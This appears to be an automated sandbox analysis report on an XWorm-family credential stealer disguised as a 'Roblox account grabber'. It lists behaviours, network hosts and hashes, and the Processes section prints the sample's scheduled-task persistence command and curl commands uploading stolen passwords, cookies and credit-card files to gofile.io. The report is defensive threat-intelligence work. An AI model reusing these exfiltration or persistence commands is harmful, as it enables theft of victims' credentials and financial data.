Malware Analysis Report

2025-03-15 04:21

Sample ID 241025-3fp7xatlhn
Target Roblox account grabber (1).exe
SHA256 aa4f8c6a20a413c22128795798e2835437ab03215c5c51e31e9f3ea0da3c54bf
Tags
xworm credential_access discovery persistence pyinstaller rat spyware stealer trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

aa4f8c6a20a413c22128795798e2835437ab03215c5c51e31e9f3ea0da3c54bf

Threat Level: Known bad

The file Roblox account grabber (1).exe was found to be: Known bad.

Malicious Activity Summary

xworm credential_access discovery persistence pyinstaller rat spyware stealer trojan

Xworm

Xworm family

Detect Xworm Payload

Unsecured Credentials: Credentials In Files

Drops startup file

Executes dropped EXE

Loads dropped DLL

Reads user/profile data of web browsers

Checks computer location settings

Looks up external IP address via web service

Accesses cryptocurrency files/wallets, possible credential harvesting

Legitimate hosting services abused for malware hosting/C2

Adds Run key to start application

Detects Pyinstaller

Unsigned PE

Browser Information Discovery

Enumerates physical storage devices

Uses Task Scheduler COM API

Suspicious use of SetWindowsHookEx

Scheduled Task/Job: Scheduled Task

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-10-25 23:27

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-10-25 23:27

Reported

2024-10-25 23:34

Platform

win10v2004-20241007-en

Max time kernel

118s

Max time network

120s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Roblox account grabber (1).exe"

Signatures

Detect Xworm Payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Xworm

trojan rat xworm

Xworm family

xworm

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\Roblox account grabber (1).exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Roaming\discord token gen priv1.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\discord token gen priv.exe C:\Users\Admin\AppData\Roaming\discord token gen priv.exe N/A
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Rizz.lnk C:\Users\Admin\AppData\Roaming\Discord token logger tool.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Rizz.lnk C:\Users\Admin\AppData\Roaming\Discord token logger tool.exe N/A
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk C:\Users\Admin\AppData\Roaming\discord token gen priv1.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk C:\Users\Admin\AppData\Roaming\discord token gen priv1.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\discord token gen priv.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\discord token gen priv.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\discord token gen priv.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\discord token gen priv.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\discord token gen priv.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\discord token gen priv.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\discord token gen priv.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\discord token gen priv.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\discord token gen priv.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\discord token gen priv.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\discord token gen priv.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\discord token gen priv.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\discord token gen priv.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\discord token gen priv.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\discord token gen priv.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\discord token gen priv.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\discord token gen priv.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\discord token gen priv.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\discord token gen priv.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\discord token gen priv.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\discord token gen priv.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\discord token gen priv.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\discord token gen priv.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\discord token gen priv.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\discord token gen priv.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\discord token gen priv.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\discord token gen priv.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\discord token gen priv.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\discord token gen priv.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\discord token gen priv.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\discord token gen priv.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\discord token gen priv.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\discord token gen priv.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\discord token gen priv.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\discord token gen priv.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\discord token gen priv.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\discord token gen priv.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\discord token gen priv.exe N/A

Reads user/profile data of web browsers

spyware stealer

Unsecured Credentials: Credentials In Files

credential_access stealer

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\XClient = "C:\\Users\\Admin\\AppData\\Roaming\\XClient.exe" C:\Users\Admin\AppData\Roaming\discord token gen priv1.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A api.ipify.org N/A N/A
N/A api.ipify.org N/A N/A

Browser Information Discovery

discovery

Detects Pyinstaller

pyinstaller
Description Indicator Process Target
N/A N/A N/A N/A

Enumerates physical storage devices

Scheduled Task/Job: Scheduled Task

persistence execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\schtasks.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\Discord token logger tool.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\discord token gen priv1.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\Discord token logger tool.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\discord token gen priv1.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\Discord token logger tool.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\discord token gen priv1.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\XClient.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\XClient.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\Discord token logger tool.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\discord token gen priv1.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3024 wrote to memory of 364 N/A C:\Users\Admin\AppData\Local\Temp\Roblox account grabber (1).exe C:\Users\Admin\AppData\Roaming\Discord token logger tool.exe
PID 3024 wrote to memory of 364 N/A C:\Users\Admin\AppData\Local\Temp\Roblox account grabber (1).exe C:\Users\Admin\AppData\Roaming\Discord token logger tool.exe
PID 3024 wrote to memory of 1044 N/A C:\Users\Admin\AppData\Local\Temp\Roblox account grabber (1).exe C:\Users\Admin\AppData\Roaming\discord token gen priv.exe
PID 3024 wrote to memory of 1044 N/A C:\Users\Admin\AppData\Local\Temp\Roblox account grabber (1).exe C:\Users\Admin\AppData\Roaming\discord token gen priv.exe
PID 3024 wrote to memory of 3364 N/A C:\Users\Admin\AppData\Local\Temp\Roblox account grabber (1).exe C:\Users\Admin\AppData\Roaming\discord token gen priv1.exe
PID 3024 wrote to memory of 3364 N/A C:\Users\Admin\AppData\Local\Temp\Roblox account grabber (1).exe C:\Users\Admin\AppData\Roaming\discord token gen priv1.exe
PID 1044 wrote to memory of 2196 N/A C:\Users\Admin\AppData\Roaming\discord token gen priv.exe C:\Users\Admin\AppData\Roaming\discord token gen priv.exe
PID 1044 wrote to memory of 2196 N/A C:\Users\Admin\AppData\Roaming\discord token gen priv.exe C:\Users\Admin\AppData\Roaming\discord token gen priv.exe
PID 3364 wrote to memory of 4124 N/A C:\Users\Admin\AppData\Roaming\discord token gen priv1.exe C:\Windows\System32\schtasks.exe
PID 3364 wrote to memory of 4124 N/A C:\Users\Admin\AppData\Roaming\discord token gen priv1.exe C:\Windows\System32\schtasks.exe
PID 2196 wrote to memory of 3216 N/A C:\Users\Admin\AppData\Roaming\discord token gen priv.exe C:\Windows\system32\cmd.exe
PID 2196 wrote to memory of 3216 N/A C:\Users\Admin\AppData\Roaming\discord token gen priv.exe C:\Windows\system32\cmd.exe
PID 3216 wrote to memory of 7360 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\curl.exe
PID 3216 wrote to memory of 7360 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\curl.exe
PID 2196 wrote to memory of 7528 N/A C:\Users\Admin\AppData\Roaming\discord token gen priv.exe C:\Windows\system32\cmd.exe
PID 2196 wrote to memory of 7528 N/A C:\Users\Admin\AppData\Roaming\discord token gen priv.exe C:\Windows\system32\cmd.exe
PID 7528 wrote to memory of 7612 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\curl.exe
PID 7528 wrote to memory of 7612 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\curl.exe
PID 2196 wrote to memory of 7656 N/A C:\Users\Admin\AppData\Roaming\discord token gen priv.exe C:\Windows\system32\cmd.exe
PID 2196 wrote to memory of 7656 N/A C:\Users\Admin\AppData\Roaming\discord token gen priv.exe C:\Windows\system32\cmd.exe
PID 7656 wrote to memory of 7716 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\curl.exe
PID 7656 wrote to memory of 7716 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\curl.exe
PID 2196 wrote to memory of 7872 N/A C:\Users\Admin\AppData\Roaming\discord token gen priv.exe C:\Windows\system32\cmd.exe
PID 2196 wrote to memory of 7872 N/A C:\Users\Admin\AppData\Roaming\discord token gen priv.exe C:\Windows\system32\cmd.exe
PID 7872 wrote to memory of 7932 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\curl.exe
PID 7872 wrote to memory of 7932 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\curl.exe
PID 2196 wrote to memory of 7960 N/A C:\Users\Admin\AppData\Roaming\discord token gen priv.exe C:\Windows\system32\cmd.exe
PID 2196 wrote to memory of 7960 N/A C:\Users\Admin\AppData\Roaming\discord token gen priv.exe C:\Windows\system32\cmd.exe
PID 7960 wrote to memory of 8020 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\curl.exe
PID 7960 wrote to memory of 8020 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\curl.exe
PID 2196 wrote to memory of 8048 N/A C:\Users\Admin\AppData\Roaming\discord token gen priv.exe C:\Windows\system32\cmd.exe
PID 2196 wrote to memory of 8048 N/A C:\Users\Admin\AppData\Roaming\discord token gen priv.exe C:\Windows\system32\cmd.exe
PID 8048 wrote to memory of 8108 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\curl.exe
PID 8048 wrote to memory of 8108 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\curl.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Users\Admin\AppData\Local\Temp\Roblox account grabber (1).exe

"C:\Users\Admin\AppData\Local\Temp\Roblox account grabber (1).exe"

C:\Users\Admin\AppData\Roaming\Discord token logger tool.exe

"C:\Users\Admin\AppData\Roaming\Discord token logger tool.exe"

C:\Users\Admin\AppData\Roaming\discord token gen priv.exe

"C:\Users\Admin\AppData\Roaming\discord token gen priv.exe"

C:\Users\Admin\AppData\Roaming\discord token gen priv1.exe

"C:\Users\Admin\AppData\Roaming\discord token gen priv1.exe"

C:\Users\Admin\AppData\Roaming\discord token gen priv.exe

"C:\Users\Admin\AppData\Roaming\discord token gen priv.exe"

C:\Windows\System32\schtasks.exe

"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XClient" /tr "C:\Users\Admin\AppData\Roaming\XClient.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cspasswords.txt" https://store5.gofile.io/uploadFile"

C:\Windows\system32\curl.exe

curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cspasswords.txt" https://store5.gofile.io/uploadFile

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cscookies.txt" https://store5.gofile.io/uploadFile"

C:\Windows\system32\curl.exe

curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cscookies.txt" https://store5.gofile.io/uploadFile

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cscreditcards.txt" https://store7.gofile.io/uploadFile"

C:\Windows\system32\curl.exe

curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cscreditcards.txt" https://store7.gofile.io/uploadFile

C:\Windows\System32\rundll32.exe

C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\csautofills.txt" https://store7.gofile.io/uploadFile"

C:\Windows\system32\curl.exe

curl -F "file=@C:\Users\Admin\AppData\Local\Temp\csautofills.txt" https://store7.gofile.io/uploadFile

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cshistories.txt" https://store7.gofile.io/uploadFile"

C:\Windows\system32\curl.exe

curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cshistories.txt" https://store7.gofile.io/uploadFile

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\csbookmarks.txt" https://store7.gofile.io/uploadFile"

C:\Windows\system32\curl.exe

curl -F "file=@C:\Users\Admin\AppData\Local\Temp\csbookmarks.txt" https://store7.gofile.io/uploadFile

C:\Users\Admin\AppData\Roaming\XClient.exe

C:\Users\Admin\AppData\Roaming\XClient.exe

C:\Users\Admin\AppData\Roaming\XClient.exe

C:\Users\Admin\AppData\Roaming\XClient.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 68.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 rentry.co udp
US 172.67.75.40:443 rentry.co tcp
US 172.67.75.40:443 rentry.co tcp
US 172.67.75.40:443 rentry.co tcp
US 172.67.75.40:443 rentry.co tcp
US 8.8.8.8:53 40.75.67.172.in-addr.arpa udp
US 8.8.8.8:53 api.ipify.org udp
US 104.26.12.205:443 api.ipify.org tcp
US 8.8.8.8:53 api.gofile.io udp
FR 45.112.123.126:443 api.gofile.io tcp
US 8.8.8.8:53 geolocation-db.com udp
DE 159.89.102.253:443 geolocation-db.com tcp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 205.12.26.104.in-addr.arpa udp
US 8.8.8.8:53 126.123.112.45.in-addr.arpa udp
US 8.8.8.8:53 253.102.89.159.in-addr.arpa udp
FR 45.112.123.126:443 api.gofile.io tcp
US 8.8.8.8:53 discord.com udp
US 162.159.128.233:443 discord.com tcp
US 8.8.8.8:53 store5.gofile.io udp
FR 31.14.70.244:443 store5.gofile.io tcp
US 162.159.128.233:443 discord.com tcp
US 8.8.8.8:53 r11.o.lencr.org udp
GB 2.18.190.73:80 r11.o.lencr.org tcp
US 162.159.128.233:443 discord.com tcp
US 162.159.128.233:443 discord.com tcp
FR 45.112.123.126:443 api.gofile.io tcp
US 162.159.128.233:443 discord.com tcp
FR 31.14.70.244:443 store5.gofile.io tcp
US 8.8.8.8:53 233.128.159.162.in-addr.arpa udp
US 8.8.8.8:53 244.70.14.31.in-addr.arpa udp
US 8.8.8.8:53 73.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 61.45.26.184.in-addr.arpa udp
US 162.159.128.233:443 discord.com tcp
FR 45.112.123.126:443 api.gofile.io tcp
US 162.159.128.233:443 discord.com tcp
US 8.8.8.8:53 store7.gofile.io udp
FR 31.14.70.250:443 store7.gofile.io tcp
US 162.159.128.233:443 discord.com tcp
N/A 127.0.0.1:54767 tcp
FR 45.112.123.126:443 api.gofile.io tcp
US 8.8.8.8:53 250.70.14.31.in-addr.arpa udp
FR 31.14.70.250:443 store7.gofile.io tcp
FR 45.112.123.126:443 api.gofile.io tcp
N/A 192.168.56.1:35146 tcp
FR 31.14.70.250:443 store7.gofile.io tcp
FR 45.112.123.126:443 api.gofile.io tcp
FR 31.14.70.250:443 store7.gofile.io tcp
US 162.159.128.233:443 discord.com tcp
US 162.159.128.233:443 discord.com tcp
US 162.159.128.233:443 discord.com tcp
US 162.159.128.233:443 discord.com tcp
US 162.159.128.233:443 discord.com tcp
US 162.159.128.233:443 discord.com tcp
US 162.159.128.233:443 discord.com tcp
US 162.159.128.233:443 discord.com tcp
US 162.159.128.233:443 discord.com tcp
US 162.159.128.233:443 discord.com tcp
US 162.159.128.233:443 discord.com tcp
US 162.159.128.233:443 discord.com tcp
US 162.159.128.233:443 discord.com tcp
US 162.159.128.233:443 discord.com tcp
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 162.159.128.233:443 discord.com tcp
US 162.159.128.233:443 discord.com tcp
N/A 127.0.0.1:54767 tcp
N/A 127.0.0.1:54767 tcp
US 8.8.8.8:53 53.210.109.20.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
N/A 192.168.56.1:35146 tcp
N/A 127.0.0.1:54767 tcp
N/A 127.0.0.1:54767 tcp
N/A 127.0.0.1:54767 tcp
N/A 192.168.56.1:35146 tcp
N/A 127.0.0.1:54767 tcp
N/A 127.0.0.1:54767 tcp
N/A 127.0.0.1:54767 tcp
N/A 127.0.0.1:54767 tcp
N/A 192.168.56.1:35146 tcp
US 8.8.8.8:53 29.243.111.52.in-addr.arpa udp
N/A 127.0.0.1:54767 tcp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 10.28.171.150.in-addr.arpa udp
N/A 127.0.0.1:54767 tcp
N/A 127.0.0.1:54767 tcp
N/A 192.168.56.1:35146 tcp

Files

memory/3024-0-0x00007FFB69303000-0x00007FFB69305000-memory.dmp

memory/3024-1-0x0000000000200000-0x0000000000C7C000-memory.dmp

C:\Users\Admin\AppData\Roaming\Discord token logger tool.exe

MD5 5026e1a8200e86035959db40d9e49b5c
SHA1 c616f76d6e93774110930098cce618d3256a24ee
SHA256 4cb8baa6f720ff4a4ac6644f46aa47755039ae9d655c1a23b029058936cf675c
SHA512 26e2b5da16fd5cf937ea6105acf8abb77af7ea530a4cd33ac0e317a291568bf1e43d851e4b5c3428676b64494d624ad853e855e0e06524bbb8d478f25f378c6a

memory/364-13-0x0000000000D80000-0x0000000000D9A000-memory.dmp

memory/364-14-0x00007FFB69300000-0x00007FFB69DC1000-memory.dmp

C:\Users\Admin\AppData\Roaming\discord token gen priv.exe

MD5 c7392d844ec566f0b24a846d02222c6d
SHA1 574928e741033031478b15a98c21d43756878e09
SHA256 f0c771e8f6fa85050d14cbd7bd01110be4edbef62dae870257c2f30ebe9d30b0
SHA512 a87158a3fdfa1ad15fb16268d807212d36bee89afc12d60a4651b35480d44f629425abe1c96db66c9cf215bc35ac7b2058074e77568784db1863fd4c5d3adf5b

C:\Users\Admin\AppData\Roaming\discord token gen priv1.exe

MD5 916de9fb9caddd295fc5bb54c4ed2ca4
SHA1 0c1d5512486e817917e57b402b88d95baeb40a13
SHA256 fce2ad92956cdfc212c6182be6bdbb428282becf0d9f95bceb0f2b340a725cb9
SHA512 63c20c3e1208f301f6c1685a00444152b4c024dfa8c931aac0c94e856a89b9f8ce5a7885351401593803aa632ef98250961ded157403a333b3e6420a61304e8e

memory/3364-85-0x0000000000EE0000-0x0000000000EF8000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI10442\python313.dll

MD5 b9de917b925dd246b709bb4233777efd
SHA1 775f258d8b530c6ea9f0dd3d1d0b61c1948c25d2
SHA256 0c0a66505093b6a4bb3475f716bd3d9552095776f6a124709c13b3f9552c7d99
SHA512 f4bf3398f50fdd3ab7e3f02c1f940b4c8b5650ed7af16c626ccd1b934053ba73a35f96da03b349c1eb614bb23e0bc6b5cc58b07b7553a5c93c6d23124f324a33

C:\Users\Admin\AppData\Local\Temp\_MEI10442\VCRUNTIME140.dll

MD5 862f820c3251e4ca6fc0ac00e4092239
SHA1 ef96d84b253041b090c243594f90938e9a487a9a
SHA256 36585912e5eaf83ba9fea0631534f690ccdc2d7ba91537166fe53e56c221e153
SHA512 2f8a0f11bccc3a8cb99637deeda0158240df0885a230f38bb7f21257c659f05646c6b61e993f87e0877f6ba06b347ddd1fc45d5c44bc4e309ef75ed882b82e4e

C:\Users\Admin\AppData\Local\Temp\_MEI10442\base_library.zip

MD5 a9cbd0455b46c7d14194d1f18ca8719e
SHA1 e1b0c30bccd9583949c247854f617ac8a14cbac7
SHA256 df6c19637d239bfedc8cd13d20e0938c65e8fdf340622ff334db533f2d30fa19
SHA512 b92468e71490a8800e51410df7068dd8099e78c79a95666ecf274a9e9206359f049490b8f60b96081fafd872ec717e67020364bcfa972f26f0d77a959637e528

C:\Users\Admin\AppData\Local\Temp\_MEI10442\libffi-8.dll

MD5 0f8e4992ca92baaf54cc0b43aaccce21
SHA1 c7300975df267b1d6adcbac0ac93fd7b1ab49bd2
SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
SHA512 6e1b223462dc124279bfca74fd2c66fe18b368ffbca540c84e82e0f5bcbea0e10cc243975574fa95ace437b9d8b03a446ed5ee0c9b1b094147cefaf704dfe978

C:\Users\Admin\AppData\Local\Temp\_MEI10442\_bz2.pyd

MD5 cb8c06c8fa9e61e4ac5f22eebf7f1d00
SHA1 d8e0dfc8127749947b09f17c8848166bac659f0d
SHA256 fc3b481684b926350057e263622a2a5335b149a0498a8d65c4f37e39dd90b640
SHA512 e6da642b7200bfb78f939f7d8148581259baa9a5edda282c621d14ba88083a9b9bd3d17b701e9cde77ad1133c39bd93fc9d955bb620546bb4fcf45c68f1ec7d6

C:\Users\Admin\AppData\Local\Temp\_MEI10442\_lzma.pyd

MD5 1ba022d42024a655cf289544ae461fb8
SHA1 9772a31083223ecf66751ff3851d2e3303a0764c
SHA256 d080eabd015a3569813a220fd4ea74dff34ed2a8519a10473eb37e22b1118a06
SHA512 2b888a2d7467e29968c6bb65af40d4b5e80722ffdda760ad74c912f3a2f315d402f3c099fde82f00f41de6c9faaedb23a643337eb8821e594c567506e3464c62

C:\Users\Admin\AppData\Local\Temp\_MEI10442\select.pyd

MD5 20831703486869b470006941b4d996f2
SHA1 28851dfd43706542cd3ef1b88b5e2749562dfee0
SHA256 78e5994c29d8851f28b5b12d59d742d876683aea58eceea1fb895b2036cdcdeb
SHA512 4aaf5d66d2b73f939b9a91e7eddfeb2ce2476c625586ef227b312230414c064aa850b02a4028363aa4664408c9510594754530a6d026a0a84be0168d677c1bc4

C:\Users\Admin\AppData\Local\Temp\_MEI10442\_socket.pyd

MD5 fe896371430bd9551717ef12a3e7e818
SHA1 e2a7716e9ce840e53e8fc79d50a77f40b353c954
SHA256 35246b04c6c7001ca448554246445a845ce116814a29b18b617ea38752e4659b
SHA512 67ecd9a07df0a07edd010f7e3732f3d829f482d67869d6bce0c9a61c24c0fdc5ff4f4e4780b9211062a6371945121d8883ba2e9e2cf8eb07b628547312dfe4c9

C:\Users\Admin\AppData\Local\Temp\_MEI10442\_ssl.pyd

MD5 1c0e3e447f719fbe2601d0683ea566fc
SHA1 5321ab73b36675b238ab3f798c278195223cd7b1
SHA256 63ae2fefbfbbbc6ea39cde0a622579d46ff55134bc8c1380289a2976b61f603e
SHA512 e1a430da2a2f6e0a1aed7a76cc4cd2760b3164abc20be304c1db3541119942508e53ea3023a52b8bada17a6052a7a51a4453efad1a888acb3b196881226c2e5c

C:\Users\Admin\AppData\Local\Temp\_MEI10442\libssl-3.dll

MD5 4ff168aaa6a1d68e7957175c8513f3a2
SHA1 782f886709febc8c7cebcec4d92c66c4d5dbcf57
SHA256 2e4d35b681a172d3298caf7dc670451be7a8ba27c26446efc67470742497a950
SHA512 c372b759b8c7817f2cbb78eccc5a42fa80bdd8d549965bd925a97c3eebdce0335fbfec3995430064dead0f4db68ebb0134eb686a0be195630c49f84b468113e3

C:\Users\Admin\AppData\Local\Temp\_MEI10442\_hashlib.pyd

MD5 32d76c9abd65a5d2671aeede189bc290
SHA1 0d4440c9652b92b40bb92c20f3474f14e34f8d62
SHA256 838d5c8b7c3212c8429baf612623abbbc20a9023eec41e34e5461b76a285b86c
SHA512 49dc391f4e63f4ff7d65d6fd837332745cc114a334fd61a7b6aa6f710b235339964b855422233fac4510ccb9a6959896efe880ab24a56261f78b2a0fd5860cd9

C:\Users\Admin\AppData\Local\Temp\_MEI10442\_queue.pyd

MD5 1c03caa59b5e4a7fb9b998d8c1da165a
SHA1 8a318f80a705c64076e22913c2206d9247d30cd7
SHA256 b9cf502dadcb124f693bf69ecd7077971e37174104dbda563022d74961a67e1e
SHA512 783ecda7a155dfc96a718d5a130fb901bbecbed05537434e779135cba88233dd990d86eca2f55a852c9bfb975074f7c44d8a3e4558d7c2060f411ce30b6a915f

C:\Users\Admin\AppData\Local\Temp\_MEI10442\unicodedata.pyd

MD5 0902d299a2a487a7b0c2d75862b13640
SHA1 04bcbd5a11861a03a0d323a8050a677c3a88be13
SHA256 2693c7ee4fba55dc548f641c0cb94485d0e18596ffef16541bd43a5104c28b20
SHA512 8cbef5a9f2d24da1014f8f1ccbddd997a084a0b04dd56bcb6ac38ddb636d05ef7e4ea7f67a085363aad3f43d45413914e55bdef14a662e80be955e6dfc2feca3

C:\Users\Admin\AppData\Local\Temp\_MEI10442\certifi\cacert.pem

MD5 50ea156b773e8803f6c1fe712f746cba
SHA1 2c68212e96605210eddf740291862bdf59398aef
SHA256 94edeb66e91774fcae93a05650914e29096259a5c7e871a1f65d461ab5201b47
SHA512 01ed2e7177a99e6cb3fbef815321b6fa036ad14a3f93499f2cb5b0dae5b713fd2e6955aa05f6bda11d80e9e0275040005e5b7d616959b28efc62abb43a3238f0

C:\Users\Admin\AppData\Local\Temp\_MEI10442\charset_normalizer\md__mypyc.cp313-win_amd64.pyd

MD5 10116447f9276f10664ba85a5614ba3a
SHA1 efd761a3e6d14e897d37afb0c7317c797f7ae1d6
SHA256 c393098e7803abf08ee8f7381ad7b0f8faffbf66319c05d72823308e898f8cfc
